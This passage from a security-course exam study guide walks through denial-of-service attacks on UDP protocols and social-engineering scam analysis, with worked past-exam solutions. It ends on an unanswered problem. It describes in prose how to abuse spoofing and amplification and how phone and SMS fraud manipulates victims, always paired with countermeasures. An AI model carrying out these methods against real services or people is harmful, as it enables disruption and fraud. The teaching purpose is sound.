Countermeasures and — crucially for the exam — *who deploys them.*

- ***Ingress/egress filtering (BCP 38)***: routers drop packets whose source address is impossible for the network they came from. This kills spoofing, but it must be deployed *at the source*, i.e. by ***the attacker's ISP***. Filtering at the victim cannot work: by the time the packets reach the victim, its upstream link is already full.
- At the service: authenticate the *whole* message — with a ***message authentication code (MAC)***, a short keyed tag that only someone holding the shared secret key can produce, or with a digital signature over every field — and include a ***nonce*** (a fresh random value) or timestamp against ***replay*** (an attacker re-sending an old, valid message to trigger its effect again), verify the source *before* committing memory or CPU (TCP handshake, challenge-response cookie), rate-limit, and add ***redundancy*** (the application runs on several servers behind different gateways, ideally in different geographic areas, so no single link congestion kills it).
- Responsibility: the ISP deploys filtering; the service fixes its own authentication and resource logic; neither the victim nor its cloud provider can filter a flood they receive, because they are not the network provider carrying the attack traffic.

Theory Cheat-Sheet

- DoS = attack on ***availability***: exhaust bandwidth, state, computation, or correctness.
- Economics: attacker wins when one cheap request costs the victim a lot (bandwidth, memory, CPU).
- UDP/ICMP source IPs are forgeable (connectionless); the TCP handshake verifies the source.
- ***Reflection*** + ***amplification***: spoof the victim's IP, let big servers flood it (DNS: ≈ 60 B request $\rightarrow \approx 4$ KB reply).
- ***SYN flood*** fills the half-open connection table; fix with SYN cookies, timeouts, per-IP caps.
- Ingress filtering (BCP 38) belongs to the attacker's ISP — victim-side filtering fails because the upstream link is already congested; redundancy across gateways is the service-side answer.

How to Identify

Use this scheme when the problem provides A request–response or publish–subscribe service/protocol described message by message, usually over UDP with spoofable source IP addresses and weak or missing source authentication (no MAC/signature over the whole message, or a check covering only part of the message). An attacker model is stated: the attacker has less bandwidth than the victim, may eavesdrop or intercept traffic, but cannot recover keys. Sometimes a named flood (SYN/ICMP) or a service whose work-per-request is expensive or whose replies are much larger than the requests. and asks you to Describe concretely how the attacker performs a DoS against a stated victim (the server itself or a third-party client) despite having less bandwidth; then describe how the vulnerability can be countered and, when asked, who must deploy the countermeasure (the attacker's ISP, the service, or the cloud provider). Look for keywords like: *"denial of service", "DOS", "UDP message", "spoof", "less bandwidth than the victim", "abused by a malicious user", "describe how this vulnerability can be countered", "amplification", "reflection", "resource exhaustion", "ingress filtering", "ICMP flood", "SYN flood", "who is in charge".*

Algorithm: Exploit spoofing + asymmetry (amplification or state exhaustion), then authenticate the source

Step 1: Map the message flows: List each protocol message with its transport and effect:

- transport: UDP/ICMP $\rightarrow$ ***source IP is forgeable***; TCP $\rightarrow$ handshake-verified source;
- effect: what work or traffic each message triggers at the server (replies, stored state per client, downstream messages to third parties).

Beginner tip: write this as a small table (message, transport, cost) before judging anything.

Step 2: Find the authentication gap: Check what actually proves the sender's identity. An unauthenticated UDP source field can simply be forged. A subtler gap: only *part* of the message is protected (e.g. only $X = E(IP_i, K_i)$ is verified while L travels in plaintext), so a man in the middle tampers with the unprotected fields. Always ask: which bytes lie *inside* the authenticated portion, and which lie outside?

Step 3: Identify the asymmetry: Spot the ***amplification factor*** (one small request triggers many or large replies: L bytes split into 512 KB blocks, or one publish causes one message per subscriber per topic) or the ***exhaustion target*** (server CPU per verification, memory, connection table or thread pool grows per forged request or half-open SYN). The asymmetry is what makes a weak attacker dangerous — if you cannot find one, re-read the protocol.

Step 4: Construct the attack: Combine the gap and the asymmetry:

- ***reflection/amplification***: spoof the victim's IP (or raise the unprotected L) so the server floods the victim with traffic;

- ***state/computation exhaustion***: mass-forge requests so the server's own memory, table or CPU saturates.

State explicitly why *less bandwidth than the victim* does not matter: the server supplies the bandwidth and the state.

Step 5: Propose the countermeasure: Authenticate the *whole* message and verify the source before committing resources: use TCP (the handshake proves the source address) or sign/MAC/encrypt everything, e.g. $E(IP_i \,\|\, L, K_i)$ so tampering with L is detected; add a nonce/sequence number/expiration against ***replay***; commit no memory or computation until the source is proven (challenge-response); add rate limiting.

Step 6: Assign responsibility: If asked who deploys what:

- spoofing is fixed at the source by the ***attacker's ISP*** via ingress/egress filtering (BCP 38);
- victim-side or cloud-provider filtering fails because the upstream link is already congested;
- the service fixes its own authentication, resource-commitment logic, redundancy across gateways, and (for SYN floods) SYN cookies/backlog handling.

Exam Variations & Traps

- **Variation 1 (Tampering instead of spoofing):** In dasak19 P1 the protocol does authenticate the client ($D(X, K_i) = IP_i$ is checked), so pure IP spoofing fails — the trap is to overlook that L is sent in *plaintext*: a man in the middle raises L and gets amplification anyway. Adapt Step 2: enumerate which fields lie *inside* the authenticated portion and attack the ones outside.
- **Variation 2 (Victim is the server, not a client):** In dasak18 P1 the attacker targets the server itself: mass forged subscriptions exhaust server memory, or one forged publish forces the server to emit hundreds of messages. Adapt Step 4: choose between ***traffic amplification*** against third parties and ***state/resource exhaustion*** of the server — the official solution accepts either.
- **Variation 3 (Role reversal: replay to force expensive work):** Some sittings replace spoofing with ***replay***: unauthenticated (or nonce-less signed) messages are re-sent to force repeated expensive server work (malware scans, many hash comparisons). The fix still follows Step 5: nonce/timestamp inside the signed portion plus rate limiting.
- **Variation 4 (Named flood with responsibility question):** 2022/NEN-style variants name the threat (SYN flood, ICMP flood, amplification via open resolvers) and ask *who must act*. Trap: saying the victim or its cloud provider should filter — the upstream link is already saturated, so ingress filtering (BCP 38) belongs to the attacker's ISP; SYN floods additionally

need cookies/backlog fixes at the server.

Guided Walkthrough (Learn the Method on One Question)

Problem: Denial of service. To save battery, a fleet of constrained parking sensors offloads cryptographic work to a verification oracle O run by the city. The protocol is as follows (all messages sent over UDP): To request a check, sensor S_i sends $\langle IP_i, IP_O, C, M, \sigma \rangle$ to O, where C is the claimed signer's certificate, M a firmware manifest, and σ the signature to verify. O performs a full certificate-chain validation and signature verification (about 40 ms of CPU per request), then sends a *verification report* back to IP_i: a 4 KB document containing the parsed certificate chain, every intermediate ***certificate revocation list (CRL)*** entry consulted (a CRL is a published list of cancelled certificates that must be checked during chain validation), and the verdict. Describe how a malicious user can abuse this service to mount a denial-of-service attack, given that the attacker has less bandwidth than the victim, and describe how the vulnerability can be countered.

Solution (every step explained, including WHY):

- *Applying Step 1 (map the flows):* One *verify-request* (sensor → O) triggers two costly effects: (a) expensive CPU work at O — certificate-chain validation plus signature verification, ≈ 40 ms per request — and (b) a 4 KB report sent back to the claimed source address. Everything is UDP. *Why this step:* you cannot attack what you have not mapped; listing "what does one message cost the server, and where does output go" exposes both candidate resources (CPU and outbound bandwidth). *Mistake to avoid:* do not jump straight to "spoofing" before noting the costs — the costs are what make the attack work.

- *Applying Step 2 (authentication gap):* The request carries no credential, MAC or proof of source. O trusts the claimed IP_i field of a UDP datagram and starts computing (and replying) *before* any source verification. Because UDP is connectionless, IP_i can be forged: the attacker simply writes any address she likes into the packet. *Why this matters:* an attack needs both an asymmetry (Step 3) and a way to aim it; the missing authentication is what lets the attacker aim O's output at someone else.

- *Applying Step 3 (asymmetry):* There are two asymmetries: (a) *traffic amplification*: one small request (a certificate, a manifest and a signature — at most a few hundred bytes) makes O emit a 4 KB report, many times larger, to an address of the attacker's choosing; (b) *computational exhaustion*: each cheap request burns ≈ 40 ms of O's CPU. *Why beginners miss this:* they look only for "big reply vs small request"; the exam rewards noticing *both* kinds of cost asymmetry, so always check CPU/memory as well as bytes.

- *Applying Step 4 (construct the attack):* Attack on a victim host: Mallory sends a stream of verify-requests with the *victim's* IP as source; O reflects a 4 KB report per request and floods the victim's link — Mallory's small uplink suffices because O supplies the bandwidth (reflection + amplification). Simultaneously, attack on O itself: the forged requests keep O's CPUs at 100% on chain validation, so *legitimate sensors* wait indefinitely — a denial of service with far less bandwidth than O's own link capacity. *Key sentence to write on the exam:* the phrase "less bandwidth

than the victim" is neutralized because the server supplies the bandwidth and the state.

- *Applying Step 5 (countermeasures at the service):* Commit no work before the source is proven: switch to TCP (the handshake verifies the source address) or use a ***challenge-response cookie*** — O first replies with a cheap nonce and only starts validation when the requester returns it, which a spoofer cannot do because she never receives packets sent to the spoofed address. Authenticate the *whole* request with a MAC/signature over $\langle IP_i, C, M, \sigma, \text{nonce}\rangle$; rate-limit reports per destination IP and cap CPU per request. *Mistake to avoid:* proposing only "use encryption" without saying *what* is encrypted — graders want the whole-message binding.

- *Applying Step 6 (responsibility):* Spoofing is eliminated at the source by the *attacker's ISP* deploying ingress/egress filtering (BCP 38), dropping packets whose source address does not match its routing tables. Dropping the reflected reports at the victim (or its cloud provider) does not help, because the victim's upstream link is already congested by the time the packets arrive. O itself must fix the commit-work-before-verification design. *Why:* the exam's "who is in charge" phrasing is testing exactly this allocation — ISP fixes spoofing, service fixes its own logic, the victim can do nothing about a saturated link.

Real Exam Questions (With Step-by-Step Solutions)

Exam Practice: Exam 2019-01-14 (dasak18), Part II Problem 1

Problem: Denial of service. A news feed service S allows clients to subscribe to news published by content providers. The protocol: (1) to subscribe to a topic T, client C_i sends the UDP message $\langle IP_i, IP_S, T\rangle$ to S, where IP_i is the IP of the client and IP_S the IP of the server; (2) to publish a news item, publisher P_j sends the UDP message $\langle IP_j, IP_S, N, T_1, \ldots, T_n\rangle$ to S, where N is the content and $T_1, \ldots, T_n$ a list of topics; (3) as soon as a news item is published, the server sends a UDP message $\langle IP_S, IP_i, D\rangle$ to every client registered for at least one of the relevant topics. Describe how this system can be abused by a malicious user in order to perform a DOS of the server S. Assume the attacker has less bandwidth than the victim. Describe how this vulnerability can be countered.
Solution:

- *Applying Step 1 (map the flows):* Three message types, all UDP (so every source address is forgeable): a *subscribe* makes S *store state* (a registration binding IP_i to topic T); a *publish* makes S *emit traffic* (one notification per registered client per matching topic). Note the two candidate resources immediately: S's *memory* (the subscription table) and S's *outbound bandwidth/CPU* (the fan-out of notifications).

- *Applying Step 2 (authentication gap):* Neither message type carries any credential, MAC or signature: S trusts the claimed IP_i / IP_j fields of spoofable UDP datagrams. Anyone can subscribe arbitrary addresses to arbitrary topics and can publish arbitrary news under any publisher's name.

- *Applying Step 3 (asymmetry):* (a) *Fan-out amplification*: one small publish

message with n topics forces S to generate and send one notification per subscriber of those topics — potentially hundreds of messages per single attacker packet. (b) *State exhaustion*: each forged subscribe adds a permanent row to S's registration table, so unbounded memory growth per tiny request.

- *Applying Step 4 (construct the attack):* Official solution: the attacker spoofs the IP of several clients C_i and registers them to hundreds of topics; then spoofs the IP of a publisher P_j and publishes an article tagged with hundreds of topics. This forces the server to send hundreds of notification messages to many clients — the attacker's handful of packets have multiplied into a flood of server work and traffic, so the attacker's inferior bandwidth is irrelevant (the server supplies both the bandwidth and the state). *Alternatively*, the attacker simply exhausts all of the server's memory by continuing to subscribe (forged) users indefinitely.

- *Applying Step 5 (countermeasure):* Official solution: use TCP or some sort of authentication. Expanded: the TCP handshake verifies that the claimed source address really receives packets, killing blind spoofing; or authenticate every subscribe/publish message (MAC or signature over the whole message, with a nonce or timestamp against replay) so forged registrations and forged publishes are rejected before S stores state or emits traffic.

Answer: Spoofed subscribes register many (fake) clients to hundreds of topics and one spoofed publish tagged with hundreds of topics forces S to emit hundreds of messages (or forged subscribes simply exhaust S's memory); counter by using TCP or authenticating the messages.

Exam Practice: Exam HT2019 (dasak19), Part II Problem 1.1

Problem: Denial of service. A random program generator service S allows clients to generate random data. Each client C_i shares a symmetric key K_i with the service. Protocol: (1) to ask for random data, client C_i sends the UDP message $\langle IP_i, IP_S, X, L\rangle$ to S, where $X = E(IP_i, K_i)$ is the encryption of IP_i under K_i and L is the number of bytes requested; (2) the service checks that $D(X, K_i) = IP_i$ and terminates if the check fails; (3) if the check succeeds, the service generates L bytes of random data, splits the result into blocks of 512 KB, and sends each block D_j to the client via UDP messages $\langle IP_S, IP_i, D_j\rangle$. Describe how this system can be abused by an attacker (that is not one of the clients) to perform a DOS of one of the clients C_i. Assume the attacker has less bandwidth than the victim and cannot recover the key K_i even by analyzing traffic. Then describe how the vulnerability can be countered.
Solution:

- *Applying Step 1 (map the flows):* One request in, L bytes of random data out, delivered in 512 KB UDP blocks to the claimed IP_i. Transport is UDP both ways. The expensive effect is S's outbound traffic; the destination of that traffic is taken from the message itself.

- *Applying Step 2 (authentication gap — the subtle one):* The source address

is authenticated: only a holder of K_i can produce $X = E(IP_i, K_i)$ passing the check $D(X, K_i) = IP_i$, and the attacker cannot recover K_i, so pure IP spoofing fails. *But* the check covers only X: the length field L travels in *plaintext*, outside the encrypted portion. A man in the middle can therefore tamper with L without breaking the check. Beginner trap: seeing "encryption + check" and concluding the message is authenticated — always ask *which fields* are inside the protected part.

- *Applying Step 3 (asymmetry):* Amplification: raising L to a huge value makes S emit L bytes (in 512 KB blocks) for a single small request — e.g. $L = 1$ GB means about 2000 blocks from one request. The attacker injects a few bytes; the server floods the client with gigabytes.

- *Applying Step 4 (construct the attack):* Official solution: a man-in-the-middle attack. The attacker intercepts a legitimate request $\langle IP_i, IP_S, X, L\rangle$ from client C_i, changes L to a much larger value, and retransmits the message. The check $D(X, K_i) = IP_i$ still passes (X was not touched), so S generates L bytes of random data and streams them in 512 KB blocks to IP_i — the victim client C_i is flooded with traffic it never asked for, and the attacker's own bandwidth is irrelevant because S supplies the flood.

- *Applying Step 5 (countermeasure):* Official solution: sign/encrypt the *whole* message, i.e. send $E(IP_i \,\|\, L, K_i)$; when the server decrypts it, it checks that the embedded IP matches (which plays the role of a MAC), so any tampering with L is detected. To also avoid replay attacks (re-sending an old valid request), each message should carry a sequence number or an expiration time.

Answer: A man in the middle intercepts a request, enlarges the plaintext field L, and retransmits it, making S flood client C_i with up to L bytes; fix by encrypting/signing the whole message, $E(IP_i \,\|\, L, K_i)$, plus a sequence number or expiration time against replay.

Exam Practice: Exam HT2022, Part 2 Problem 2c (NEN)

Problem: Denial of Service. Context: NEN ("Never-Ending Notes") is a company whose service keeps users' notes and synchronizes them across devices; you are hired to do the security of the NEN product. Threat: the server running the NEN service could be targeted by an ICMP flood attack. Mitigation: NEN have no proposals and ask you. Assignment: which countermeasure can be used to prevent or mitigate this attack, and who is in charge of it?
Solution:

- *Applying Steps 1+3 (map the flow; identify the exhaustion target):* The attack is already named, so Steps 2 and 4 (finding an authentication gap and constructing the attack) are not needed — what remains is to classify the asymmetry. An ICMP flood is a pure *bandwidth* exhaustion attack: a (possibly distributed) mass of ping packets saturates the link leading to NEN's server. Note what is *not* the issue here: there is no protocol-level flaw in the NEN application to patch — the resource being exhausted is the network link

itself.

- *Applying Step 6 (responsibility analysis: why the victim cannot fix it):* Dropping the malicious packets at NEN's server or at NEN's cloud provider cannot help: by the time the packets arrive there, NEN's *upstream link is already congested* — the damage (a full link) is done upstream of any point NEN controls. Beginner trap: proposing a bigger firewall at the victim; a firewall can only drop packets that have *already consumed* the victim's bandwidth.

- *Applying Steps 5+6 (countermeasure at the source, and who deploys it):* Official solution: the most obvious countermeasure is ***ingress filtering*** close to the attacker, preventing the attacker from spoofing IP addresses and enabling the congested routers to identify and drop malicious traffic. Neither NEN nor its cloud provider can deploy this, since they are not the network service providers: the ISP of the attacker is in charge of deploying the countermeasure (this is the BCP 38 idea: drop packets whose source address is inconsistent with the network they originate from).

- *Applying Steps 5+6 (service-side mitigation: redundancy):* Official solution, alternative: NEN could design the server application to run on multiple servers, and the cloud provider could deploy it on machines connected via *different gateways*, ideally in several geographic areas. It is then hard for an attacker to congest the links of several routers at once, so the service stays available even while one site is flooded. Responsibility split: the attacker-side filtering belongs to the attacker's ISP; the redundancy deployment is shared between NEN (application design) and its cloud provider (multi-gateway hosting).

Answer: Deploy ingress filtering close to the attacker (in charge: the attacker's ISP — neither NEN nor its cloud provider can, since they are not network providers); alternatively, run the service redundantly on servers behind different gateways/geographic areas via the cloud provider.

For more practice, see past-exam instances: re-exam-problems-with-sample-solutions.pdf::5a

11 Question Type 11: Social-engineering scenario analysis

Theory Background (Start Here if You Know Nothing)

Social engineering means attacking the human, not the machine. Instead of breaking cryptography or exploiting a software bug, the attacker manipulates a person into voluntarily handing over information, money, or access. Why does this work? Because security systems ultimately trust human decisions: if a user can be tricked into typing their password into a fake page, approving a ***BankID*** request (BankID is Sweden's national electronic-ID app: people use it on their phone to log in and to sign or confirm payments and official actions, so a tricked confirmation works like a real signature), or opening a malicious attachment, all the technical protection underneath is bypassed. A

useful mental model: the attacker is running an exploit against the human operating system — against habits like politeness, trust in authority, helpfulness, and panic under pressure. Everyone is susceptible; getting fooled says something about the attacker's skill, not the victim's intelligence. Social engineering is the entry point of a huge share of real incidents (phishing campaigns, ransomware intrusions, identity theft, payment fraud).

A social-engineering attack usually follows recognizable ***attack phases***: (1) ***research*** — gather fragments about the target from public sources (hitta.se, hemnet.se, LinkedIn, Facebook); (2) ***pretexting*** — invent a believable role and scenario and build rapport and trust; (3) ***get the data*** — exploit the established trust to extract credentials, PII (personally identifiable information: name, address, personnummer, account numbers), money, or a malware install; (4) keep the connection alive without raising suspicion; (5) ***combine*** many small, individually harmless pieces of data into a complete picture (e.g. the last four digits of a ***personnummer*** — the Swedish personal identity number, consisting of the holder's birthdate (year-month-day) followed by four individual digits, so a birthdate plus the last four digits reveal the whole number — spoken on the phone, completed with a birthdate found via a public directory); and (6) ***use*** the result. Small data fragments are valuable because they aggregate. Never dismiss a leak as 'only four digits'.

The course expects you to name specific ***manipulation strategies*** and pair each with the ***human trait*** it exploits. Learn this table:

- ***Pretext: trappings of the role*** — caller ID showing a real number, hold music, case/order numbers, official logos, lookalike domains, marketing-style language, 'we never send links' disclaimers. Exploits ***attribution/trust***: we trust whatever looks and sounds like the legitimate role.
- ***Threat / fear*** — 'the payment has already come through', 'your account will be emptied'. Exploits ***reduced cognitive ability***: fear literally degrades systematic, careful thinking.
- ***Urgency / rush*** — 'within 24 hours', 'before the deadline tomorrow'. Exploits the same reduced cognition, this time via time pressure: hurrying skips verification steps.
- ***Rapport / empathy / light banter*** — small talk, jokes, shared experiences ('moving is so stressful, we also moved this year'). Exploits ***liking***: people agree to more requests from someone they like.
- ***Peer pressure / social proof*** — 'your neighbours the Ericssons and the Smiths already donated'. Exploits the desire to conform and not deviate from social expectations.
- ***Altercasting*** — pushing the victim into a role: the ***victim role*** (the attacker creates a problem, e.g. a fake fraudulent order, then 'fixes' it — exploits ***reactance*** and builds gratitude) or the ***helper role*** ('people are suffering, we need your help' — exploits the desire to be helpful and cooperative).

Technical aids make the pretext convincing: ***lookalike domains*** (paypa1.com with the digit 1, gmaill.com with double l, junk subdomains like stockholmhelps.paypa1.com where only the *last* part of the hostname is the real domain), spoofed caller ID, QR codes that open BankID confirmations, and attachments delivered only after trust is built. Remember how to read a hostname: the real owner is the registered domain directly before the top-level domain, so stockholmhelps.paypa1.com belongs to paypa1.com, *not* to PayPal. Countermeasures split into ***organizational*** (clear protocols that are

actually enforced, awareness training, simple rules for what counts as sensitive, ID required before restricted actions, a culture where saying 'no' is acceptable) and ***technical*** (spam/phishing filters, two-factor authentication (***2FA***: a second proof of identity on top of the password, e.g. a BankID confirmation, so a stolen password alone is not enough), least privilege, separation of duty).

How the exam grades this: part (a) is scored as triples: strategy name + human trait + quoted scenario line, typically 1 point per element (3 strategies x 3 elements = 9 points). A strategy without its trait or its quote loses most of its points. Part (b), 'what did the attacker get', is graded conservatively: list only gains the scenario's final state explicitly proves — one true gain suffices for the point, but any over-claim (e.g. 'got the password' when only digits were given) loses it. Part (c) wants two concrete, realistic follow-on attacks consistent with the harvest: malware hidden in the opened attachment (ransomware, credential stealer), the confirmed money transfer, account takeover where no 2FA exists, identity theft at services where a personnummer alone suffices as authentication, credential reuse on other sites.

Theory Cheat-Sheet

- Strategy–trait pairs: role trappings → attribution/trust; fear/threat → reduced cognitive ability; urgency/rush → no systematic thinking under time pressure; rapport/banter → liking; peer pressure → desire to conform; altercasting: victim role (attacker creates a problem, then 'fixes' it) → reactance/gratitude; helper role ('people suffering, we need your help') → desire to help.
- Attack phases: research, pretext, get data, keep connection, combine data, use it. Small data fragments aggregate.
- Grading template for part (a): each strategy is a triple (strategy name + human trait + quoted line). One point per element.
- Part (b): only what the final state proves; over-claiming loses the point.
- Part (c) follow-ons: malware in the attachment, money from a confirmed transfer, account takeover without 2FA, identity theft where a personnummer suffices, credential reuse.
- Hostname reading: the real owner is the label right before the TLD — stockholmhelps.paypa1.com is *not* PayPal.

How to Identify

Use this scheme when the problem provides A detailed narrative or transcript of a scam: an attacker (phishing email/SMS, vishing phone call, fake charity/company/bank) contacts a named victim, with quoted attacker lines, victim actions (clicking, calling back, entering credentials, opening attachments, confirming with BankID/PayPal), and the final state of what was revealed or executed. Often mentions public data sources the attacker combined (hitta.se, hemnet.se) and lookalike domains (paypa1.com, gmaill.com). and asks you to (a) Identify 3 manipulation strategies, name the human trait each exploits, and quote/mention the exact scenario lines supporting each; (b) state concretely what the attacker obtained; (c) give two examples of what the attacker can do now (follow-on attacks). Look for keywords like: *"social engineering", "pretext", "strategies",*

"human trait", "quote or mention the parts of the scenario", "rapport", "urgency", "peer pressure", "phishing", "BankID", "what did the attacker get", "what can the attacker do now".

Algorithm: Strategy-trait-quote triangulation, then concrete harvest and follow-on attacks

Step 1: Inventory attacker moves: Read the transcript once and list every distinct manipulation move:

- impersonation of an organization or role, claimed affiliations, spoofed sender/caller ID;
- time pressure, threats, appeals to suffering or helping;
- name-dropping neighbours or colleagues, friendly banter;
- plausible artifacts: order/case numbers, hold music, lookalike domains, 'we never send attachments' disclaimers.

Step 2: Map each move to a named strategy: Label each move with the course's strategy vocabulary: ***pretext*** (trappings of the role), ***altercasting*** (putting the victim into a victim or helper role, e.g. create-then-fix a problem), ***urgency/rush***, ***threat/fear***, ***peer pressure/social proof***, ***rapport/empathy/light banter***.

Step 3: Attach the human trait: For each strategy name the exploited trait:

- role trappings → ***attribution/trust***;
- fear and urgency → ***reduced cognitive ability*** under stress/time pressure;
- peer pressure and helper role → desire to be helpful, cooperative, and not deviate from social expectations;
- rapport → ***liking***: people agree to more from someone they like;
- create-and-fix → ***reactance*** plus gratitude.

Step 4: Quote the evidence: For each strategy-trait pair, quote or precisely reference the supporting scenario line (e.g. 'the payment has already come through' for fear). Deliver full triples: strategy, trait, quote. The rubric typically awards one point per element, so a strategy without its trait or quote forfeits most of its points.

Step 5: State the concrete harvest: Enumerate only what the transcript's final state proves the attacker obtained: opened/executed attachment, credentials entered on the lookalike site, full personnummer or other PII, a confirmed BankID/PayPal transfer, phone number. Do not list anything not evidenced in the story — one true gain suffices, but any incorrect claim loses the point.

Step 6: Give follow-on attacks: Provide two realistic next steps consistent with the harvest: hidden malware in the attachment (ransomware, credential stealer) even if payment is refused; money if a transfer was confirmed;

initiating further transactions the victim is groomed to confirm; account takeover where no 2FA exists; identity theft at services where a personnummer alone suffices as authentication; credential reuse on other sites.

Exam Variations & Traps

- **Variation 1 (Callback phishing (vishing) instead of an inbound link):** The initial email carries no link or attachment; the victim is lured into calling the attacker's number and the attack happens live by phone, with any attachment arriving in a later 'form' mail. Treat hold music, 'we never include links' disclaimers and marketing style as role trappings, and note the extra harvest channel: spoken partial personnummer completed via a public directory lookup. Trap: do not claim the first email itself carried malware.
- **Variation 2 (Charity/donation scam with social proof):** The lever is peer pressure ('the neighbours have already donated') plus an urgency deadline and a helper-role pretext ('people are suffering'). Name social proof and altercasting instead of fear; the harvest is payment credentials via a lookalike redirect (letter swapped for a digit). Trap: explicitly notice the domain substitution as part of the pretext.
- **Variation 3 (Grading granularity of part (a)):** Typical rubric: 3 strategies x (strategy + trait + quote), one point each. Strategies without trait or quote forfeit two-thirds of the points; more than three triples is fine since sample answers list 4–5 acceptable options. Always write full triples.
- **Variation 4 (What-counts-as-harvest trap in part (b)):** Official solutions mark part (b) correct if at least one true gain is mentioned and no incorrect ones — over-claiming ('got the money' before the BankID confirmation, 'got the password' when only digits were given) loses the point. List only gains explicitly shown in the scenario's final state.

Guided Walkthrough (Learn the Method on One Question)

Problem: Social engineering — Safe Account: Sara, who lives in Lund, receives an SMS from 'PostNord': 'Your parcel is held at customs. Pay the SEK 45 fee within 24 hours or it will be returned to the sender.' The link leads to postn0rd.se, a pixel-perfect copy of the real PostNord site, where Sara enters her debit-card number, expiry date and CVV (the three-digit security code printed on the back of the card, used to prove the buyer physically holds the card). Two days later her phone rings; the display shows her bank's official support number. 'Mikael from the fraud department' greets her warmly, asks how the weather is in Lund, and jokes about the rain he biked through that morning. He then says several customers in her area were hit this week, that case number FB-22114 has been opened, and that two suspicious transactions totalling SEK 14 500 are pending on her account: 'if we do not act within the hour, the account will be emptied.' He asks Sara to state her full personnummer 'so I can be sure it is really you', then instructs her to move her savings to a 'shielded safe account' the bank has created for her, adding the new account as a payee in her banking app. Sara confirms the SEK 12 000 transfer by

scanning the QR code with BankID, and Mikael thanks her: 'you have been most helpful — together we caught the thief.' (a) Identify 3 strategies used by the social engineer; for each, name the human trait exploited and quote the parts of the scenario you refer to. (b) What did the attacker get? (c) Give two examples of what the attacker can do now.

Solution (every step explained, including WHY):

- *Applying Step 1:* Inventory every manipulation move before naming anything: fake PostNord SMS with a 24-hour deadline; lookalike domain postn0rd.se (digit '0' for letter 'o'); spoofed bank caller ID plus a case number (FB-22114) and a 'fraud department' title; small talk about Lund's weather and biking through rain; 'several customers in your area were hit'; fear hook (SEK 14 500 pending, 'account emptied within the hour'); a created crisis that Mikael then 'fixes'; closing flattery ('together we caught the thief'). *Beginner note:* write this inventory on the exam paper first — it guarantees you will not run out of triples and prevents quoting the same line twice for two different strategies.

- *Applying Step 2:* Map the moves to named strategies (any three of): 1) pretext: trappings of the role; 2) threat/fear; 3) urgency/rush; 4) rapport/light banter; 5) altercasting into the ***victim role*** — Mikael creates a problem (the fake fraud crisis) and then 'fixes' it with the 'safe account', which is exactly the create-and-fix pattern. *Beginner note 1:* use the course's exact vocabulary ('trappings of the role', 'altercasting'), not paraphrases like 'he pretended to be the bank' — the grader matches against the named strategies. *Beginner note 2:* keep the two altercasting roles separate, exactly as the official rubric does: create-and-fix is the *victim* role and exploits *reactance*; the *helper* role is a different move ('people are suffering, we need your help') exploiting the desire to help, and it is not the mechanism here.

- *Applying Step 3:* Attach the human trait to each chosen strategy: role trappings exploit attribution/trust (we trust what looks and sounds like the real institution); fear and urgency exploit reduced cognitive ability under stress and time pressure (panic and hurry shut down careful verification); rapport exploits liking (people agree to more from someone they like); the victim-role altercasting exploits ***reactance*** plus gratitude — Sara reacts against the threat of losing her money, and when Mikael 'saves' her she feels grateful and complies. *Beginner note:* the trait must be a *mechanism* ('fear reduces systematic thinking'), not a restatement ('she was scared').

- *Applying Step 4:* Quote the evidence to complete the triples: role trappings — 'the display shows her bank's official support number', 'case number FB-22114', 'pixel-perfect copy ... postn0rd.se'; fear/urgency — 'pay within 24 hours or it will be returned', 'several customers in your area were hit this week', 'two suspicious transactions totalling SEK 14 500', 'if we do not act within the hour, the account will be emptied'; rapport — 'asks how the weather is in Lund, and jokes about the rain he biked through'; victim role — the created crisis (fake pending transactions) that Mikael then 'fixes' via the 'shielded safe account', sealed by the closing flattery 'together we caught the thief'. Any three full triples earn full marks. *Mistake to avoid 1:* a strategy name alone is worth only 1 of 3 points; the rubric pays per element. *Mistake to avoid 2:* do not label 'several customers in your area were hit' as peer pressure/social proof — Sara is not asked to imitate anyone's behaviour;

the line establishes that the fraud wave is real, so it is evidence for fear/threat (or role trappings), not conformity.

- *Applying Step 5:* (b) The attacker got: Sara's full debit-card details (number, expiry, CVV) entered on postn0rd.se; her full personnummer stated on the phone; and a BankID-confirmed SEK 12 000 transfer to the attacker's 'safe account'. *Mistake to avoid:* do not add the SEK 45 fee — the scenario shows Sara entering her card details but never states the fee payment completed — and do not add 'her banking password' or 'her BankID', which the scenario never shows either. The official grading rule is: at least one true gain and no incorrect ones; a single over-claim forfeits the point.
- *Applying Step 6:* (c) Follow-on attacks (any two): use or sell the card details for ***card-not-present fraud*** (online or phone purchases where the merchant never sees the physical card, so the card number, expiry date and CVV alone are enough to pay); keep calling with new 'safe account' emergencies while the grooming holds, since Sara has proven she will confirm BankID requests; commit identity theft — take loans or order goods at services where a personnummer plus card data suffices as authentication; target Sara again (or her contacts) as a proven compliant victim, e.g. with a 'refund' lure carrying malware. *Beginner note:* each follow-on must be *consistent with the harvest* — do not propose attacks that need data the attacker never obtained.

Real Exam Questions (With Step-by-Step Solutions)

Exam Practice: Re-exam (reexam-problems.-with-solutions), Problem 8 'I'll be (call-)back', parts a-c

Problem: Eric gets an email from orders ¡no-reply@northernfitness.se¿ confirming a 'Well-Fit Supreme Unlimited Membership' (Order #491625, Account #366481, SEK 9999 via Klarna), written in polished marketing style, giving a customer-service phone number, and stating 'We will never include links or attachments in our e-mails to you.' Eric has not ordered this and calls the number. He is put on hold to music (Eye of the Tiger). 'Arnold' answers, suggests friends or family may have signed him up ('people get a bit pushy about fitness towards the New Year, I hope they don't also push a diet on you like my colleagues and their constant talk about carbs'), and asks for Eric's name and the last four digits of his personnummer 'just to confirm that it's really you'. Eric gives the digits; Arnold looks up Eric's phone number on hitta.se and gets his birthdate to complete the personnummer. Arnold then confirms the membership and says 'the payment has come through from your Klarna account already, well done!' Eric asks to cancel; Arnold says he has the right to cancel within 2 weeks and will email a cancellation form, after which a BankID request will confirm the reimbursement. Eric opens the mail and the attachment, fills out the form, clicks confirm, scans the QR code with BankID and confirms the request 'Northern Fitness Reimbursement — SEK 9999'. (a) [9 p] Identify 3 strategies used by the social engineer; for each, identify the human trait they exploit and quote or mention the parts of the scenario you refer to. (b) [1 p] What did the attacker get? (c) [2 p] Give two examples of what the attacker can do now.

Solution:

